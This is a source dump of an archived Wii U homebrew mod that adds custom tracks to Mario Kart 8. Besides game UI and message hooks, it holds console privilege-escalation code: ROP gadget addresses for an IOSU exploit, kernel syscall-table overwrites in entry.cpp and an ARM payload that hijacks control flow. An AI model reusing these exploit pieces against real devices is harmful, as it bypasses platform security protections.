├── attribute_gen.exe ├── arm_iosu_code ├── arm_user │ ├── libs │ │ ├── libc.a │ │ └── libgcc.a │ ├── source │ │ ├── crt0.s │ │ ├── types.h │ │ ├── main.c │ │ └── asm.s │ ├── link.ld │ └── Makefile └── arm_kernel │ ├── libs │ ├── libc.a │ └── libgcc.a │ ├── source │ ├── crt0.s │ ├── types.h │ ├── asm.s │ └── main.c │ ├── link.ld │ └── Makefile ├── .clang-tidy ├── .gitignore ├── source ├── link.ld ├── patch │ ├── filesystem.hpp │ ├── message.hpp │ ├── global_patch.cpp │ ├── message.cpp │ ├── course.hpp │ ├── cup0.hpp │ ├── online.hpp │ ├── cup0.cpp │ ├── global_patch.hpp │ ├── online.cpp │ ├── filesystem.cpp │ └── course.cpp ├── private │ ├── kernel_asm.S │ ├── crypto_engine.cpp │ ├── kernel.cpp │ └── crypto_engine.hpp ├── main.hpp ├── arch │ └── wiiu │ │ └── powerpc_750cl │ │ ├── main.s │ │ ├── ppc_bat.hpp │ │ ├── ppc_sr.hpp │ │ ├── ppc.cpp │ │ └── ppc.hpp ├── wiiu │ ├── iosu_kernel.h │ ├── debug.hpp │ ├── patcher.h │ ├── patcher.cpp │ ├── debug.cpp │ ├── iosu_kernel.cpp │ ├── symbols.cpp │ └── symbols.h ├── entry.cpp ├── main.cpp └── utils.hpp ├── .clang-format ├── README.md └── Makefile /attribute_gen.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EpicUsername12/mk8-ct-code/HEAD/attribute_gen.exe -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/libs/libc.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EpicUsername12/mk8-ct-code/HEAD/arm_iosu_code/arm_user/libs/libc.a -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/libs/libc.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EpicUsername12/mk8-ct-code/HEAD/arm_iosu_code/arm_kernel/libs/libc.a -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/libs/libgcc.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EpicUsername12/mk8-ct-code/HEAD/arm_iosu_code/arm_kernel/libs/libgcc.a -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/libs/libgcc.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EpicUsername12/mk8-ct-code/HEAD/arm_iosu_code/arm_user/libs/libgcc.a -------------------------------------------------------------------------------- /.clang-tidy: -------------------------------------------------------------------------------- 1 | Checks: '-*,readability-braces-around-statements' 2 | WarningsAsErrors: '' 3 | HeaderFilterRegex: '(src|include)\/.*\.h$' 4 | FormatStyle: 'file' 5 | CheckOptions: -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/source/crt0.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 4 4 | 5 | .extern _main 6 | .type _main, %function 7 | 8 | .extern memset 9 | .type memset, %function 10 | 11 | _start: 12 | b _main -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/source/crt0.s: -------------------------------------------------------------------------------- 1 | .section ".init" 2 | .arm 3 | .align 4 4 | 5 | .extern _main 6 | .type _main, %function 7 | 8 | .extern memset 9 | .type memset, %function 10 | 11 | _start: 12 | b _main -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.elf 2 | build_files/ 3 | .vscode/ 4 | *.bin 5 | *.map 6 | build/ 7 | *.o 8 | *.d 9 | build_game_files_archive/release.zip 10 | build_game_files_archive/ctgp_filelist.ver 11 | build_game_files_archive/file_data 12 | build_game_files_archive/content -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | SECTIONS 4 | { 5 | .text 0x101312D0 : { 6 | _text_start = .; 7 | build/crt0.o(.init) 8 | *(.text*); 9 | *(.rodata*); 10 | } 11 | _text_end = .; 12 | 13 | /DISCARD/ : { 14 | *(*); 15 | } 16 | } -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_ARCH(arm) 2 | 3 | MEMORY 4 | { 5 | RAMX (rx) : ORIGIN = 0x08135000, LENGTH = 0x000B000 6 | } 7 | 8 | SECTIONS 9 | { 10 | .text : ALIGN(0x100) { 11 | build/crt0.o(.init) 12 | *(.text) 13 | } 14 | .rodata : { 15 | *(.rodata*) 16 | } 17 | 18 | } 19 | 20 | -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/source/types.h: -------------------------------------------------------------------------------- 1 | #ifndef _TYPES_H 2 | #define _TYPES_H 3 | 4 | #include 5 | 6 | typedef uint8_t u8; 7 | typedef uint16_t u16; 8 | typedef uint32_t u32; 9 | typedef uint64_t u64; 10 | 11 | typedef int8_t s8; 12 | typedef int16_t s16; 13 | typedef int32_t s32; 14 | typedef int64_t s64; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/source/types.h: -------------------------------------------------------------------------------- 1 | #ifndef _TYPES_H 2 | #define _TYPES_H 3 | 4 | #include 5 | 6 | typedef uint8_t u8; 7 | typedef uint16_t u16; 8 | typedef uint32_t u32; 9 | typedef uint64_t u64; 10 | 11 | typedef int8_t s8; 12 | typedef int16_t s16; 13 | typedef int32_t s32; 14 | typedef int64_t s64; 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /source/link.ld: -------------------------------------------------------------------------------- 1 | OUTPUT(gamehacking.elf); 2 | 3 | ENTRY(__entry); 4 | 5 | SECTIONS { 6 | . = 0x00A02000; 7 | .text : { 8 | *(.kernel_code*); 9 | *(.text*); 10 | KEEP(*(.kernel_code*)); 11 | } 12 | .rodata : { 13 | *(.rodata*); 14 | } 15 | .data : { 16 | *(.data*); 17 | 18 | __sdata_start = .; 19 | *(.sdata*); 20 | __sdata_end = .; 21 | 22 | __sdata2_start = .; 23 | *(.sdata2*); 24 | __sdata2_end = .; 25 | } 26 | .bss : { 27 | __bss_start = .; 28 | *(.bss*); 29 | *(.sbss*); 30 | *(COMMON); 31 | __bss_end = .; 32 | } 33 | __CODE_END = .; 34 | 35 | /DISCARD/ : { 36 | *(*); 37 | } 38 | } -------------------------------------------------------------------------------- /source/patch/filesystem.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PATCH_FS_H 2 | #define _PATCH_FS_H 3 | 4 | #include 5 | 6 | #include "patch/course.hpp" 7 | #include "private/crypto_engine.hpp" 8 | #include "wiiu/debug.hpp" 9 | #include "wiiu/patcher.h" 10 | 11 | typedef struct fileHandleHook { 12 | bool active; 13 | int handle; 14 | int offset; 15 | } fileHandleHook; 16 | 17 | extern uint8_t private_ctgp_key[48]; 18 | extern FSClient* fsClient; 19 | extern FSCmdBlock* fsCmdBlock; 20 | 21 | void InitializePatchFilesystem(); 22 | 23 | uint8_t* GetArchiveFile(const char* filename, uint32_t* outSize = NULL, uint32_t align = 0x40); 24 | 25 | #endif -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/source/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | 6 | int _main() { 7 | 8 | 9 | void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C; 10 | 11 | int(*reply)(int, int) = (int(*)(int, int))0x1012ED04; 12 | 13 | int saved_handle = *(int*)0x0012F000; 14 | int myret = reply(saved_handle, 1337); 15 | if (myret != 0) 16 | ios_shutdown(1); 17 | 18 | asm("LDR SP, newsp\n" 19 | "LDR R0, newr0\n" 20 | "LDR LR, newlr\n" 21 | "LDR PC, newpc\n" 22 | "newsp: .word 0x1016AE30\n" 23 | "newlr: .word 0x1012EACC\n" 24 | "newr0: .word 0x10146080\n" 25 | "newpc: .word 0x10111164\n"); 26 | 27 | return 0; 28 | 29 | } 30 | -------------------------------------------------------------------------------- /source/private/kernel_asm.S: -------------------------------------------------------------------------------- 1 | .globl SC0x25_KernelCopyData 2 | SC0x25_KernelCopyData: 3 | li r0, 0x2500 4 | sc 5 | blr 6 | 7 | .global kern_write 8 | kern_write: 9 | stwu %r1, -0x10(%r1) 10 | mflr %r0 11 | stw %r30, 8(%r1) 12 | mr %r30, %r4 13 | stw %r31, 12(%r1) 14 | mr %r31, %r3 15 | stw %r0, 20(%r1) 16 | li %r3, 1 17 | li %r4, 0 18 | mr %r5, %r30 19 | li %r6, 0 20 | li %r7, 0 21 | lis %r8, 1 22 | mr %r9, %r31 23 | mr %r30, %r1 24 | li %r0, 0x3500 25 | sc 26 | nop 27 | mr %r1, %r30 28 | lwz %r0, 20(%r1) 29 | lwz %r30, 8(%r1) 30 | lwz %r31, 12(%r1) 31 | mtlr %r0 32 | addi %r1, %r1, 0x10 33 | blr 34 | 35 | .globl GetGPR13 36 | GetGPR13: 37 | mr %r3, %r13 38 | blr 39 | 40 | -------------------------------------------------------------------------------- /.clang-format: -------------------------------------------------------------------------------- 1 | IndentWidth: 4 2 | Language: Cpp 3 | UseTab: Never 4 | ColumnLimit: 180 5 | PointerAlignment: Left 6 | BreakBeforeBraces: Attach 7 | SpaceAfterCStyleCast: false 8 | Cpp11BracedListStyle: false 9 | IndentCaseLabels: true 10 | BinPackArguments: true 11 | BinPackParameters: true 12 | AlignAfterOpenBracket: Align 13 | AlignOperands: true 14 | BreakBeforeTernaryOperators: true 15 | BreakBeforeBinaryOperators: None 16 | AllowShortBlocksOnASingleLine: true 17 | AllowShortIfStatementsOnASingleLine: false 18 | AllowShortLoopsOnASingleLine: false 19 | AllowShortCaseLabelsOnASingleLine: false 20 | AllowShortFunctionsOnASingleLine: false 21 | AlignEscapedNewlines: Left 22 | AlignTrailingComments: true 23 | SortIncludes: false -------------------------------------------------------------------------------- /source/patch/message.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PATCH_MSG_H 2 | #define _PATCH_MSG_H 3 | 4 | #include 5 | #include 6 | 7 | #include "utils.hpp" 8 | #include "wiiu/debug.hpp" 9 | #include "wiiu/patcher.h" 10 | 11 | #define MAX_MESSAGE_COUNT 256 12 | #define SPEEDOMETER_MSG_ID 23337 13 | #define ONLINE_TOGGLE_MSG_ID 23338 14 | 15 | typedef struct MessageData { 16 | bool active; 17 | bool alloc; 18 | int id; 19 | char16_t* message; 20 | } MessageData; 21 | 22 | void InitializePatchMessage(); 23 | void AddMessage(char16_t* text, int id, bool alloc = false); 24 | void ModifyMessage(char16_t* text, int id, bool alloc = true); 25 | char16_t* fromUTF8(char* text); 26 | 27 | extern MessageData messages[MAX_MESSAGE_COUNT]; 28 | 29 | #endif -------------------------------------------------------------------------------- /arm_iosu_code/arm_kernel/source/asm.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | 4 | .global GetControlRegister 5 | .type GetControlRegister, %function 6 | GetControlRegister: 7 | MRC p15, 0, r0, c1, c0, 0 8 | bx lr 9 | 10 | .global SetControlRegister 11 | .type SetControlRegister, %function 12 | SetControlRegister: 13 | MCR p15, 0, r0, c1, c0, 0 14 | bx lr 15 | 16 | .global ClearEntireDCache 17 | .type ClearEntireDCache, %function 18 | ClearEntireDCache: 19 | MRC p15, 0, r15, c7, c10, 3 20 | bne ClearEntireDCache 21 | mov r0, #0 22 | MCR p15, 0, r0, c7, c10, 4 23 | bx lr 24 | 25 | .global GetCPSR 26 | .type GetCPSR, %function 27 | GetCPSR: 28 | MRS r0, cpsr 29 | bx lr 30 | 31 | .global SetCPSR 32 | .type SetCPSR, %function 33 | SetCPSR: 34 | MSR cpsr, r0 35 | bx lr 36 | 37 | -------------------------------------------------------------------------------- /arm_iosu_code/arm_user/source/asm.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .align 4 3 | 4 | .global GetControlRegister 5 | .type GetControlRegister, %function 6 | GetControlRegister: 7 | MRC p15, 0, r0, c1, c0, 0 8 | bx lr 9 | 10 | .global SetControlRegister 11 | .type SetControlRegister, %function 12 | SetControlRegister: 13 | MCR p15, 0, r0, c1, c0, 0 14 | bx lr 15 | 16 | .global ClearEntireDCache 17 | .type ClearEntireDCache, %function 18 | ClearEntireDCache: 19 | MRC p15, 0, r15, c7, c10, 3 20 | bne ClearEntireDCache 21 | mov r0, #0 22 | MCR p15, 0, r0, c7, c10, 4 23 | bx lr 24 | 25 | .global GetCPSR 26 | .type GetCPSR, %function 27 | GetCPSR: 28 | MRS r0, cpsr 29 | bx lr 30 | 31 | .global SetCPSR 32 | .type SetCPSR, %function 33 | SetCPSR: 34 | MSR cpsr, r0 35 | bx lr 36 | 37 | -------------------------------------------------------------------------------- /source/main.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PRGM_MAIN_H 2 | #define _PRGM_MAIN_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | #include "wiiu/iosu_kernel.h" 9 | #include "wiiu/patcher.h" 10 | 11 | #include "patch/course.hpp" 12 | #include "patch/cup0.hpp" 13 | #include "patch/global_patch.hpp" 14 | #include "patch/message.hpp" 15 | #include "patch/online.hpp" 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | 33 | int MainThread(int argc, void* argv); 34 | 35 | extern bool readyToExit; 36 | 37 | #endif -------------------------------------------------------------------------------- /source/arch/wiiu/powerpc_750cl/main.s: -------------------------------------------------------------------------------- 1 | .global kern_write 2 | kern_write: 3 | stwu %r1, -0x10(%r1) 4 | mflr %r0 5 | stw %r30, 8(%r1) 6 | mr %r30, %r4 7 | stw %r31, 12(%r1) 8 | mr %r31, %r3 9 | stw %r0, 20(%r1) 10 | li %r3, 1 11 | li %r4, 0 12 | mr %r5, %r30 13 | li %r6, 0 14 | li %r7, 0 15 | lis %r8, 1 16 | mr %r9, %r31 17 | mr %r30, %r1 18 | li %r0, 0x3500 19 | sc 20 | nop 21 | mr %r1, %r30 22 | lwz %r0, 20(%r1) 23 | lwz %r30, 8(%r1) 24 | lwz %r31, 12(%r1) 25 | mtlr %r0 26 | addi %r1, %r1, 0x10 27 | blr 28 | 29 | .globl GetMemoryRegisters 30 | GetMemoryRegisters: 31 | li %r0, 0x0900 32 | sc 33 | blr 34 | 35 | .globl WriteKernelPhysical 36 | WriteKernelPhysical: 37 | li %r0, 0x0700 38 | sc 39 | blr 40 | 41 | .globl ReadKernelPhysical 42 | ReadKernelPhysical: 43 | li %r0, 0x2100 44 | sc 45 | blr 46 | 47 | 48 | .globl SetSegmentRegister 49 | SetSegmentRegister: 50 | li %r0, 0x2200 51 | sc 52 | blr 53 | 54 | .globl __SetSegmentRegister 55 | __SetSegmentRegister: 56 | sync 57 | eieio 58 | isync 59 | mtsrin %r3, %r4 60 | isync 61 | mfsrin %r5, %r4 62 | mr %r3, %r5 63 | isync 64 | blr 65 | 66 | .globl __OSGetDABR 67 | __OSGetDABR: 68 | mfspr %r3, 1015 69 | blr 70 | 71 | .globl OSGetDABR 72 | OSGetDABR: 73 | li %r0, 0x2300 74 | sc 75 | blr -------------------------------------------------------------------------------- /source/arch/wiiu/powerpc_750cl/ppc_bat.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _AA_PPC_BAT_H 2 | #define _AA_PPC_BAT_H 3 | 4 | #include "ppc.hpp" 5 | 6 | constexpr inline const char* BlockAreaToString(uint32_t BL) { 7 | switch (BL) { 8 | case BAT_AREA_128K: 9 | return "128K"; 10 | case BAT_AREA_256K: 11 | return "256K"; 12 | case BAT_AREA_512K: 13 | return "512K"; 14 | case BAT_AREA_1M: 15 | return "1M"; 16 | case BAT_AREA_2M: 17 | return "2M"; 18 | case BAT_AREA_4M: 19 | return "4M"; 20 | case BAT_AREA_8M: 21 | return "8M"; 22 | case BAT_AREA_16M: 23 | return "16M"; 24 | case BAT_AREA_32M: 25 | return "32M"; 26 | case BAT_AREA_64M: 27 | return "64M"; 28 | case BAT_AREA_128M: 29 | return "128M"; 30 | case BAT_AREA_256M: 31 | return "256M"; 32 | default: 33 | return ""; 34 | } 35 | return ""; 36 | } 37 | 38 | constexpr inline uint32_t GetBATU(uint32_t vaddr, uint32_t BL, bool supervisor, bool user) { 39 | return ((vaddr & BATU_BEPI_MASK) | ((BL & BATU_BL_MASK) << BATU_BL_SHIFT) | ((supervisor & 1) << 1) | (user & 1)); 40 | } 41 | 42 | constexpr inline uint32_t GetBATL(uint32_t paddr, uint32_t WIMG, bool read, bool write) { 43 | uint32_t pp = 0; 44 | if (read && write) 45 | pp = 2; 46 | else if (read && !write) 47 | pp = 1; 48 | else 49 | pp = 0; 50 | 51 | return (paddr & BATL_BRPN_MASK) | ((WIMG & BATL_WIMG_MASK) << BATL_WIMG_SHIFT) | pp; 52 | } 53 | 54 | #endif -------------------------------------------------------------------------------- /source/wiiu/iosu_kernel.h: -------------------------------------------------------------------------------- 1 | #ifndef __IOSU_MQ_EXP 2 | #define __IOSU_MQ_EXP 3 | 4 | #include "debug.hpp" 5 | #include "iosu_payload/arm_kernel.h" 6 | #include "iosu_payload/arm_user.h" 7 | #include "symbols.h" 8 | 9 | void IOSU_Exploit(int* confirm = NULL); 10 | 11 | #define USB_EndTextSection 0x101312D0 12 | #define USB_Memcpy 0x10106D4C // bl usb_memcpy; mov r0, #0; pop {r4, r5, pc}; 13 | #define POP_R4_TO_R11_PC 0x101141C8 // pop {r4-r11, pc}; 14 | #define POP_R1_R2_R5_PC 0x101063DB // pop {r1, r2, r5, pc}; 15 | #define POP_R1_TO_R7_PC 0x101236F3 // pop {r1-r7, pc}; 16 | #define POP_R0_R1_R4_PC 0x10123A9F // pop {r0, r1, r4, pc}; 17 | #define POP_R4_R5_PC 0x101231A8 // pop {r4, r5, pc}; 18 | #define STR_R0_R5_0x1C__POP_R4_R5_PC 0x101231A4 // str r0,[r5, #0x1c]; pop {r4, r5, pc}; 19 | #define MOV_R0_TO_LR__ADD_SP_8__POP_PC 0x1012CFEC // mov lr, r0; add sp, sp, 8; pop {pc}; 20 | #define LDR_R0_R0__BX_LR 0x10112E0C // ldr r0, [r0]; bx lr; 21 | #define USB_IOS_SyscallTable 0x1012EABC // .word 0xe7f0XXf0; bx lr; 22 | #define USB_IOS_CreateMessageQueue USB_IOS_SyscallTable + (8 * 0x0C) 23 | #define USB_IOS_Reset USB_IOS_SyscallTable + (8 * 0x72) 24 | #define USB_IOS_SendMessage USB_IOS_SyscallTable + (8 * 0x0E) 25 | #define USB_IOS_JamMessage USB_IOS_SyscallTable + (8 * 0x0F) 26 | #define USB_IOS_CreateThread USB_IOS_SyscallTable + (8 * 0x00) 27 | #define USB_IOS_DCFlushRange USB_IOS_SyscallTable + (8 * 0x52) 28 | #define USB_IOS_Syscall_0x4F USB_IOS_SyscallTable + (8 * 0x4F) 29 | #define IOS_KernelMemcpy 0x08131D04 30 | #define IOS_SetAccessDomainCtrlReg 0x0812EA10 31 | 32 | #define CALC_STACK_OFFSET(dest, src, sp_offset) (dest - (src + sp_offset + 0x170 + (8 * 0x04))) 33 | 34 | #endif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # MK8 WiiU CTGP-Cafe Code 3 | 4 | This version is now obsolete and the **repo is archived**, join the [**discord server**](https://discord.gg/wqSx6hRCgA) for more information. 5 | 6 | It has been replaced with the cafeloader version who was opensource until v1.1.1+, where it went back to private 7 | 8 | # What's required 9 | 10 | For C/C++: 11 | 12 | - devkitPro, devkitPPC, devkitARM, libogc, [**libtomcrypt**](https://mega.nz/file/oRdXjAjY#DyNTulpwgRcAmW04RqA72wXtdXSsJnOCKdVKTeYqJD8), [**xxd.exe**](https://mega.nz/file/wMNDEQSZ#ZzZgvG3BlDA1zDsDtYYV5hj7o2p3kC5HAg5Q9Ez3mRM) (.exe for Windows, Linux users should be able to get xxd by themselves easily) 13 | 14 | - You also need to download [**mk8-library**](https://github.com/Rambo6Glaz/mk8-library) and put in ``devkitpro/portlibs/wiiu/include/mk8`` 15 | 16 | For Python3: 17 | 18 | - pycryptodome, paramiko, lxml, arc4, requests 19 | 20 | 21 | 22 | # Preparation 23 | 24 | - ``cd build_game_files_archive`` 25 | 26 | - ``mkdir content`` 27 | 28 | - ``mkdir file_data`` 29 | 30 | - Download [**this archive**](https://mega.nz/file/5RFSQDZK#rj7IlSGKvwKa6GNfgZte0a04BBtAKacG45YwfBSs6SQ) and put the files in the ``content`` folder. 31 | 32 | # Building 33 | 34 | - Simply run ``make`` in the directory, you should get a .elf, you can start it with HBL (even from Wiiload) 35 | 36 | # If you want to edit CTGP game files 37 | 38 | - Edit game files in ``/build_game_files_archive/content`` 39 | 40 | - Go in ``/build_game_files_archive`` 41 | 42 | - Run ``python create_cup_organization.py`` 43 | 44 | - Run ``python create_archive.py`` 45 | 46 | - Put content from ``file_data`` on your SDCard at ``root:/ctgp8/file_data`` and you're good to go! 47 | -------------------------------------------------------------------------------- /source/patch/global_patch.cpp: -------------------------------------------------------------------------------- 1 | #include "global_patch.hpp" 2 | 3 | ctgp::GlobalPatch* ctgp::GlobalPatchInstance = NULL; 4 | 5 | DECL_CXX_HOOK(int, ui::UIPageManager::attach, ui::UIPageManager* _this, ui::UIPage* page, bool unk) { 6 | for (auto& ent : ctgp::GlobalPatchInstance->m_PageAttachRedirections) { 7 | if ((ent.m_pageId == GLOBAL_PAGE_ID) || (page->pageID == ent.m_pageId)) { 8 | ent.m_RedirectFunc(page); 9 | } 10 | } 11 | 12 | return real(_this, page, unk); 13 | } 14 | 15 | //! TODO: Crash prevention, set 16 | DECL_CXX_HOOK(int, ui::Control_Button::onHandler, ui::Control_Button* _this, ui::UIEvent* event) { 17 | 18 | bool cancel = false; 19 | for (auto& ent : ctgp::GlobalPatchInstance->m_ButtonHandlerRedirections) { 20 | if ((ent.m_pageId == GLOBAL_PAGE_ID) || (_this->ownerPage->pageID == ent.m_pageId)) { 21 | if (ent.m_RedirectFunc(_this, event)) 22 | cancel = true; 23 | } 24 | } 25 | 26 | if (cancel) 27 | return (int)_this; 28 | return real(_this, event); 29 | } 30 | 31 | DECL_CXX_HOOK(int, ui::UIInput::runHandler, ui::UIInput* _this, int issuer, int controllerIdx, uint32_t input) { 32 | 33 | bool cancel = false; 34 | for (auto& ent : ctgp::GlobalPatchInstance->m_InputHandlerRedirections) { 35 | if (ent.m_RedirectFunc(_this, issuer, controllerIdx, input)) 36 | cancel = true; 37 | } 38 | 39 | if (cancel) 40 | return (int)_this; 41 | return real(_this, issuer, controllerIdx, input); 42 | } 43 | 44 | ctgp::GlobalPatch::GlobalPatch() { 45 | this->setName("ctgp::GlobalPatch"); 46 | } 47 | 48 | void ctgp::GlobalPatch::Initialize() { 49 | MK8_HOOK_CXX_FUNC(0x0253FF98, ui::UIPageManager::attach); 50 | MK8_HOOK_CXX_FUNC(0x02578ADC, ui::Control_Button::onHandler); 51 | MK8_HOOK_CXX_FUNC(0x0253BD70, ui::UIInput::runHandler); 52 | GlobalPatchInstance = this; 53 | } -------------------------------------------------------------------------------- /source/patch/message.cpp: -------------------------------------------------------------------------------- 1 | #include "message.hpp" 2 | 3 | /* 4 | The message patcher is global, and not complex, no need for a full C++ 5 | rewrite 6 | */ 7 | 8 | MessageData messages[MAX_MESSAGE_COUNT]; 9 | 10 | DECL_CXX_HOOK(char16_t*, ui::UILoader::getMessage, ui::UILoader* _this, int messageId) { 11 | for (int i = 0; i < MAX_MESSAGE_COUNT; i++) { 12 | if (messages[i].active && messages[i].id == messageId) { 13 | return messages[i].message; 14 | } 15 | } 16 | 17 | return real(_this, messageId); 18 | } 19 | 20 | void InitializePatchMessage() { 21 | 22 | memset(messages, 0, sizeof(messages)); 23 | MK8_HOOK_CXX_FUNC(MK8_UI_LOADER_GET_MESSAGE, ui::UILoader::getMessage); 24 | 25 | AddMessage((char16_t*)u"00 km/h", SPEEDOMETER_MSG_ID); 26 | 27 | char16_t* ctgpText = (char16_t*)u" Online CTGP: OFF"; 28 | ctgpText[0] = 0xE045; 29 | AddMessage(ctgpText, ONLINE_TOGGLE_MSG_ID); 30 | } 31 | 32 | void AddMessage(char16_t* text, int id, bool alloc) { 33 | 34 | for (int i = 0; i < MAX_MESSAGE_COUNT; i++) { 35 | if (!messages[i].active) { 36 | messages[i].active = true; 37 | messages[i].id = id; 38 | messages[i].message = text; 39 | messages[i].alloc = alloc; 40 | return; 41 | } 42 | } 43 | } 44 | 45 | void ModifyMessage(char16_t* text, int id, bool alloc) { 46 | for (int i = 0; i < MAX_MESSAGE_COUNT; i++) { 47 | if (messages[i].active && messages[i].id == id) { 48 | if (messages[i].alloc) 49 | free(messages[i].message); 50 | messages[i].message = text; 51 | messages[i].alloc = alloc; 52 | return; 53 | } 54 | } 55 | } 56 | 57 | char16_t* fromUTF8(char* text) { 58 | size_t l = strlen(text) + 1; 59 | char16_t* data = (char16_t*)calloc(l, 2); 60 | for (size_t i = 0; i < l; i++) { 61 | data[i] = text[i] & 0xff; 62 | } 63 | return data; 64 | } -------------------------------------------------------------------------------- /source/entry.cpp: -------------------------------------------------------------------------------- 1 | #include "main.hpp" 2 | 3 | static int alreadyDoneIOSKernelExploit = 0; 4 | extern "C" int __entry(int argc, char** argv) { 5 | 6 | LoadWiiUSymbols(); 7 | ctgp::common::UDPDebugger::createInstance(); 8 | ctgp::crypto::CryptoEngine::createInstance(); 9 | 10 | uint64_t currentTitleId = OSGetTitleID(); 11 | 12 | if (alreadyDoneIOSKernelExploit && currentTitleId != MK8_J && currentTitleId != MK8_U && currentTitleId != MK8_E) { 13 | return RETURN_TO_NEXT_APP; 14 | } 15 | 16 | /* Patch kernel with our copy data syscall */ 17 | kern_write((void*)(0xFFE84C70 + (0x25 * 4)), (uint32_t)KernelCopyData); 18 | kern_write((void*)(0xFFE85070 + (0x25 * 4)), (uint32_t)KernelCopyData); 19 | kern_write((void*)(0xFFE85470 + (0x25 * 4)), (uint32_t)KernelCopyData); 20 | kern_write((void*)(0xFFEAAA60 + (0x25 * 4)), (uint32_t)KernelCopyData); 21 | kern_write((void*)(0xFFEAAE60 + (0x25 * 4)), (uint32_t)KernelCopyData); 22 | 23 | if (!alreadyDoneIOSKernelExploit) 24 | IOSU_Exploit(&alreadyDoneIOSKernelExploit); 25 | 26 | OSThread* mainCtgpThread = (OSThread*)malloc(0x1000); 27 | uint32_t* stack = (uint32_t*)malloc(0x8000); 28 | bool found_one_title = false; 29 | 30 | if ((currentTitleId != MK8_J) && (currentTitleId != MK8_U) && (currentTitleId != MK8_E)) { 31 | C_UNLESS(!SYSCheckTitleExists(MK8_J), SYSLaunchTitle(MK8_J); found_one_title = true); 32 | C_UNLESS(!SYSCheckTitleExists(MK8_U), SYSLaunchTitle(MK8_U); found_one_title = true); 33 | C_UNLESS(!SYSCheckTitleExists(MK8_E), SYSLaunchTitle(MK8_E); found_one_title = true); 34 | C_UNLESS(found_one_title, SYSLaunchMenu()); 35 | return RETURN_TO_NEXT_APP; 36 | } 37 | 38 | OSCreateThread(mainCtgpThread, (void*)MainThread, argc, (char*)argv, (void*)((uint32_t)stack + 0x8000), 0x2000, 0, OS_THREAD_ATTRIB_AFFINITY_CPU1 | OS_THREAD_ATTRIB_DETACHED); 39 | OSResumeThread(mainCtgpThread); 40 | 41 | return RETURN_TO_NEXT_APP; 42 | } 43 | -------------------------------------------------------------------------------- /source/patch/course.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _PATCH_COURSE_GP_H 2 | #define _PATCH_COURSE_GP_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include "patch/cup0.hpp" 21 | #include "patch/global_patch.hpp" 22 | #include "utils.hpp" 23 | #include "wiiu/debug.hpp" 24 | #include "wiiu/patcher.h" 25 | 26 | #include 27 | #include 28 | 29 | struct CupButtonHolder { 30 | ui::Control_CupButton* controlL1 = NULL; 31 | ui::Control_CupButton* controlL2 = NULL; 32 | ui::Control_CupButton* controlR1 = NULL; 33 | ui::Control_CupButton* controlR2 = NULL; 34 | }; 35 | 36 | #define DELUXE_RETRO_MSG_ID 25000 37 | #define DELUXE_RETRO_BT_IDs 25001 38 | 39 | namespace ctgp { 40 | 41 | class CoursePatch : ctgp::common::RootClass { 42 | private: 43 | public: 44 | bool m_CustomBattle = false; 45 | int m_CurrentPageNum = 0; 46 | std::map m_ButtonHolders; 47 | 48 | public: 49 | /** 50 | * @brief Construct a new Course Patch object 51 | * 52 | */ 53 | CoursePatch() { 54 | this->setName("ctgp::CoursePatch"); 55 | } 56 | 57 | void LoadPage(); 58 | 59 | /** 60 | * @brief Initialize the CoursePatch object 61 | * 62 | */ 63 | virtual void Initialize(); 64 | 65 | /** 66 | * @brief Create a Instance of CoursePatch 67 | * 68 | * @return ctgp::CoursePatch* 69 | */ 70 | static inline ctgp::CoursePatch* createInstance() { 71 | ctgp::CoursePatch* inst = new ctgp::CoursePatch(); 72 | inst->Initialize(); 73 | return inst; 74 | } 75 | }; 76 | 77 | extern CoursePatch* CoursePatchInstance; 78 | 79 | } // namespace ctgp 80 | 81 | #endif -------------------------------------------------------------------------------- /source/patch/cup0.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _CUP0_LDR_H 2 | #define _CUP0_LDR_H 3 | 4 | typedef class CUP0 CUP0; 5 | 6 | #define DEFAULT_CUP0_MAGIC 0x43555030 7 | #define TRACK_MAX_ID 81 8 | 9 | #include "patch/filesystem.hpp" 10 | #include "patch/message.hpp" 11 | #include "utils.hpp" 12 | 13 | #include 14 | #include 15 | 16 | typedef struct CUP0_Header { 17 | uint32_t magic; 18 | size_t numPages; 19 | size_t numCupEntries; 20 | size_t numTrackEntries; 21 | } CUP0_Header; 22 | 23 | typedef 